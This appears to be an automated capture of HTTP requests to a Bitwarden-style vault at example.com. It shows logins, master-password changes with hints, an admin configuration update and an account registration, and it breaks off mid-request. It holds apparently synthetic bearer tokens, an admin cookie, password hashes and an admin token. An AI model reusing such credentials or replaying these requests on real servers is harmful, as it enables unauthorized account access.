{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: fc64499f-572b-48fa-b7e2-30716d663f7c", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a7e9b61e-1397-4e93-bee8-0678623b0292&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 580", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI2NjEsImV4cCI6MTc5NDI4OTg2MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImE3ZTliNjFlLTEzOTctNGU5My1iZWU4LTA2Nzg2MjNiMDI5MiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.eVQbbodG1F4aGjOptlTR97tP7BwskXPqy02j_aBxWxDDAzhw1fCQk1Bw5YSzu9V_wiG-gYNaE8pOyZi-uxcPOukpIH8wU0eu2FWrVFovzCNrR64l1VmxMUWCmcsAB4lTy4WreZSjz5qw9_6oVp0akqVrFDMrAJrFqUfW0eZBoo1obSXbX9i_Gd7cFFekMn6G2tE3SaB_c4mLuwNX7yM9rhqm_t8LgJDeiaxOabDGFjnToFRx-7ThucD3GvdSUbdrrWc5IYnG0LUg5O-a1KGq8XXI7fACnqCLdyFnpeEsIn39XtJbjP4_uVeaXWHGNgAmU_j9YykvQK2tQba5hW__Cg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.mtawyrPhhPA1be3e99PSzQ==|QFP1cXRwiFIkUrgN1T8sxBUfj6ByZYoa6MBQJtizghWmUEjSbAuVB6Ub/8H4avMMafotW55+6X6Mm+nn7ztW3DUU7jSaN38HkaXgyjL42WY=|pQvUwULSDKtL70EDcsasbLlahdqwBZWmuJu6MazRjts=\"},\"masterPasswordHint\":\"python3 notes and ls -la\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 236", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e1fc1704-a4b5-47bc-8ee1-41db0aaae9ec&deviceName=unknown&grant_type=password&username=alice%40example.com&password=q4vSK61%2FxBgUNLPLyCUuEsTdPQhQGCinB%2FTEPUqhvtM%3D"}
|
||||||
|
{"method": "POST", "target": "/api/accounts/password", "headers": ["Host: example.com", "Content-Length: 574", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3MDgsImV4cCI6MTc5NDI4OTkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6ImZlMzkyZTlmLTBkODctNDczZi04N2ZmLWM4NzRlY2I5N2QxYiIsImRldmljZSI6ImUxZmMxNzA0LWE0YjUtNDdiYy04ZWUxLTQxZGIwYWFhZTllYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.b4Owd5xG_52ym1e04tZ3SxY3L-BxeiTqaEFgnxt6Ts3P0wcrmQAXyvu9q22Z7UibetQWlLxsZ-YBO5wzU1OnUHtMf2VbFKdSOATb4XzB7jxCm7M58_9nElwHpU5eBk1J7fE90SKsAmT6YZ5SjAkxGOWbFUhDEi59qng22-tJ_dGVGXQuJypfAi1_D6Osm63O5XALkXBvX0cKQamVoXGri8ntfux9AP2O1tDK1Qp1biLUWyOo0Me4re2kWbPMCnqxQyUbA0sl7TH2XCvg9NUEAaE5q4JObqyFfSZ7a0DTHsh8YH6BnL7RPM0SG4yg3Tbng5fSSy9XW8s1ir7DbUjgHA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"masterPasswordHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.OgRcIevHsEgOV1cRElOkmg==|d17l5F/azddns9F+hOtBi3HoqMXTa2lRZjEXY4/0oP88qCAs9j6TBXbgRiPLh1X6BPVl4/V6miNM+FKtWQeQ88SEgbv341U9ElwxRXhkcWA=|+CMb+HCEBZ8Psva8Z7yctMN91/0sOEOkgAYW6O29k7E=\"},\"masterPasswordHint\":\"powershell profile\"}"}
|
||||||
|
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2555", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3NDMsImV4cCI6MTc5NDI4Mzk0MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.FTIEtk4un0CKwO3OLvJ_-tv_4o-Xl5AoRIoeagRLosXQwGK8LN81W6uJpPRxnpiJy7356-xYSEtlnM3tN-PmwikOjweVvIEoFau11knEJPeBtYv7sSV-jrnQKAkRgZSM3Ppj9fn9KzVmSAj_Df3R3zT_j0cDL1q4hrbm9vvomKhv-uwCOqNCmIP1FqOwmnPgkJ519x5FOT80yApR8LEEysauin2ofqBWcMAiE8YppZuiRSHI6XqScf28sxnA1xOjjX0MXUeSjvsjraaJzM5SXibzHRL6CO1XFvqoA4dWSaDcTKu18Q1ssNU6w3sDoKX6MoiridvtAmaW4ms65lOvig", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 92", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"name\":\"powershell admin\",\"receiveMarketingEmails\":false}"}
|
||||||
|
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3348", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"masterPasswordHint\":\".htaccess\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyLtb645AK3eNDoCEXKuM4hMd5CjQJPRinz/JPtPuy3mvpWjHciM1UhC6qKHk/VYpBKMWSEP+DuaNtCwYU6yhWyqlfLeKiBx1t/vUkLG8Qk4TR3c0rGXnez9WK+fhTfh/tIoXEqKfXH9cFlPBHO3fKXlPQbb3OCHqu3mdWjZ+jjUOp3PgStVLNHyzEJ0oU0UkX0VVqAEzakH37xcvwHZAuea7jBmgc9mBPF5S13UmILA01IiGyEuBoJopwvZguz6msacO2SqymRYfDGBYXY4Cl7pKViV0BBZFPGFbszLrC3KzaHRY2Tplz+ZeJQNx2owf31TQ8/Tc/CdlL/qO4NwLmwIDAQAB\",\"encryptedPrivateKey\":\"2.iB6ZSQawm9h1pyTq/ZG5YA==|zHrGu+3csp1X5paJOAp8NQWrZIOkycjtXNHrzoLi52RnRjt2HPDchYv5dNGzVtI517ErK1w+cgPw5/B5zPDwHGJUjckJBhXQ3cTzrdrBUjbkDBlGHLICnyb8NpbiWkdr0jUQLkCqcUpQulyyDjl1zPhXnIMhmv1fEqYw9qrk0jGcjDCvND80RvGg0lNnns3a1WKXoV0OazXl4pCXRRGMfDR477eAvcE0olKyeiZcEdfHmfjV4ysm4l/pUfpkRNQz3QPV1Agc/UT6Ji6TrYz8aicBIVZBYI9QfhGxG0qYrNqjBYkkq4ui1i7Feeqdo1eeAfLoT3L2otAnuObOy6RNAyDujg9IiEYterFzU+X6cN97dtzphqZOY/PpWJp0nmApZNqj8dz3EA3ibg5M4VFCMICqBxmV8cZNfllC3leIExtFyi1SDjpySc8RyJ3gTrm1OfjCMFOsBTMARAoRahRT8VEvvm1l92tnLTBbizfjoIggA5JJ0miGZobRo+jePw9Bhl15Uu3NwqH4OGXLLJ6IzCAlzipRQdd2Y2LfaLMCuMl3njHFNbd1rTQv3c1LPWQAWPQvjXDUx4zodraBRnGiLtTsTjCVJ/YSExIrQkMvWJd/NYRGo3+E/WNmzUn8Few11rY+JxyKw4TbW+IVSsqBOG69gxCO2YI65v9nSVhmAf63fyVDJA5ZgUP+Yo/RiJyZNa8yK3J6bn8OAUYWu4yX5ZEL3UJ8jO76PuNzOXK4kIB5HL8hcBv1KS/qc6/tQ7efuePG1N1+a7I+OWa3PuLKCBL/EAiLgnyO28YXoBkBTqWA/7noXVr3bwNpc0gX2jQVFVQHpGYajPwczBVMlkXZXBoaJbixfzNmZnLg+vdYBvwv0QNeDepJntqDT+gE3ibKIK2aM+HwWtJajurjm5S+iwfeCuXA+BA8CRaZIn5VQKVoTwLGc6iJ2oeVHEydyTrxunN6uk8xMKP3J4W1xItzr2e4IssVqDCspKoAasL5OBoCxWnAebkuqM0HlzuJbixR4snc3biwZVzE//dPy1WYIN1zm8b3UqYn+LkntfO6IT6FOl1TxlVUGmfEuZwm8auoFtiEbNub0VwkuzzsEshKR25y5vMOBoBKcjQ/zieai2pf1axfRcXBnbgynv6CKKf5jOEUVW15URVCnZFRTFLfGwuNiyhC0Nxx4fgLao9JXm/bQNJjpdgFp9LuaUN0Mq20vx2zbkuo0j4aH3RsnkFIcH55SN4r6eVf651GNhGQ5ccwYUltMm1IZGXAEBpv+EJ2+5B4WDGZmA+UtbqoMPmdfe1d0cIdcJ1xocZrCYVUKs8DjUamQ4iiD8OCMLuXR9iokij9HLJtPTQBIjds+xjdAz6XoVuzOhqjtR/dWm385wbeLpNLj1dPflRaYkajn9XEz/8Flw/CM2r2UJcfgC7uVR58Loiwo0QziF/Of8HyU4qVbnoxl9zQRud/4IUZWWEEFzaYwYSuQvRT44n6DPKuLGfjO7EK6s/lit2Ln9lZKKgb3nW5BaZjh8KyXyU1MMKD0xXiry5oy/J097KhoMvXJup0EgdKtnKnnT5kkZ2YY+DJW416Ej7pnErR1bP4cDw98s43d9fCMOyvgn9byIKJ/YGlihUOrN0+Fqn5dWnOxsE=|9eW/HWKZYv/rst6wsqzjFwBBfjckKPOO14MLcOPdUL4=\"},\"masterPasswordAuthentication\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"ovyYZWijzy8e/C940Ikcn1iF/kRKLGBQbXmhBC/I+ZU=\"},\"masterPasswordUnlock\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2./xh7dFvPMQmV4/EirH8fLA==|qS9IxqClHjFuMSyAW5Ao2fiO4C24j5HMig4ZfUEmU1sW0BbxTMNTSo/1q8sQ3DS6D76NAXDzxicubqhr1vYTNRaVk7RGDISG95IQgYqgcl4=|AoT4BslDLHng16p1QQ3QeCCqujVSVmlNL54W568W2bk=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4ODQsImV4cCI6MTc5NDI4NDY4NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwidmVyaWZpZWQiOmZhbHNlfQ.YQnKOLP4YKEERu7G2UFsq2HldBEbby7aNduheU5vjir2z_r60Iwnjdjez8U_ixgbTNDwMU2YNzZNv6e6DaVB_4_1nHJt1m4inYlv_vvjD5E2aUDMww4iWb0zr2g_llq3XlKaXtbkfJVvZNJ8njckr7rOJgD-fTHkXDe_2h7r0T7jwSafhan1arZmfiKYdLYY2l9mU-vRrE-N0RmOs7H1ZQUAeTrX_A3KcgK0oMwEkCsZx0kGWJkDZs0xYEGlewbr82d5SPlv2k78GjyzogKWvJs8glHZpwUTBCeiu1jco7mLSDxWN-TQyUhQY-wtmTkv2CBT0ivjGERCKJzVWjIdoA\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 246", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b69341f5-c05b-4378-9c35-fe1043bfade3&deviceName=unknown&grant_type=password&username=python3.dev%40example.com&password=ovyYZWijzy8e%2FC940Ikcn1iF%2FkRKLGBQbXmhBC%2FI%2BZU%3D"}
|
||||||
|
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5NDI5MDA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6IjQ0OTM0Mjg2LWVhNzYtNDNjMy05YTJmLTFhYzRiYTVhY2YxNSIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwiZW1haWwiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiI4OTZlNzk3ZC1kYmVmLTRjYjctODQzNi05Y2ZkYzRmMTUxNWIiLCJkZXZpY2UiOiJiNjkzNDFmNS1jMDViLTQzNzgtOWMzNS1mZTEwNDNiZmFkZTMiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Kp43tJ3hssLaXnAx7W75fCpL1UZKvXV31ASpVeUQrlie54hx7DWXBCWjb_HIA64xiPrmCw3QhyhDA4BXlqSJljNLmg_h5022joA5HequCB2sgo9dd9MKaB0EO6oqb3v0gA5e8Gpo49ZV12vF7nMW-MTP82g9-OspQVSfNARGd7e8BOpwQzq4ZYmxvMAMgl9HMXHxFfsAzq5PQCyqR1vEp6iS7uapbTWbrvkosDFWEHVhmrPGTkB3uR5Lfht46iQNJ4aA0KQFdPFDec8iwuob4Couj90xov1hdZc77bgxHg6qvzE4_0HutXPZ5jyxGQmogdMJMlx0DDCB9pAjZeoG9g", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"3792b4ab9863972f1f7f5bf6ded0b595\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": 